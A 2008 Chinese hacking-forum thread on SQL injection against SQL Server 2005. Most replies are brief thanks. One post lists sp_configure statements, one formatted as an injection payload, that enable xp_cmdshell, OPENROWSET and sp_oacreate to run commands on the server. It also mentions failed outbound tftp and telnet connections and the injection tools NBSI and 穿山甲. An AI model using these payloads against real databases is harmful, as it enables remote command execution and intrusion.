yjvkdcw
发表于 2008-12-1 22:05:45
我来看下~~呵呆
lds519
发表于 2008-12-1 22:23:54
在哪看过呢?转的吧?
heianlang
发表于 2008-12-2 10:18:44
真可怜啊 还没鸡呢
luotuojie
发表于 2008-12-3 20:10:38
新手的需要。
lizheng19910
发表于 2008-12-5 06:44:37
你可能遇到SQL2005了,SQL2005注入首先要打开一些存储存过程的开关:
SQL2005开启选项的一些方法整理:
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
sql2005下,xp_cmdshell、sp_oA的开启方法我查到资料了,我都已经开启了,浏览器返回正常,执行命令不会再出现权限错误,但是执行“sp_oA”时会出现超时提示,执行“xp_cmdshell“时,本地监听无反应,这些我在提问贴里已经说明了,不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
;exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.
hou741126
发表于 2008-12-5 07:04:47
这个要好好学学,谢谢楼主分享了
yxl87776198
发表于 2008-12-5 07:16:15
先看看再说
8805811
发表于 2008-12-5 08:07:16
支持
qwe110120520
发表于 2008-12-8 22:19:02
是吗?
我先看看啊
小笨辉辉
发表于 2008-12-9 01:12:00
这个谁都会了。老套了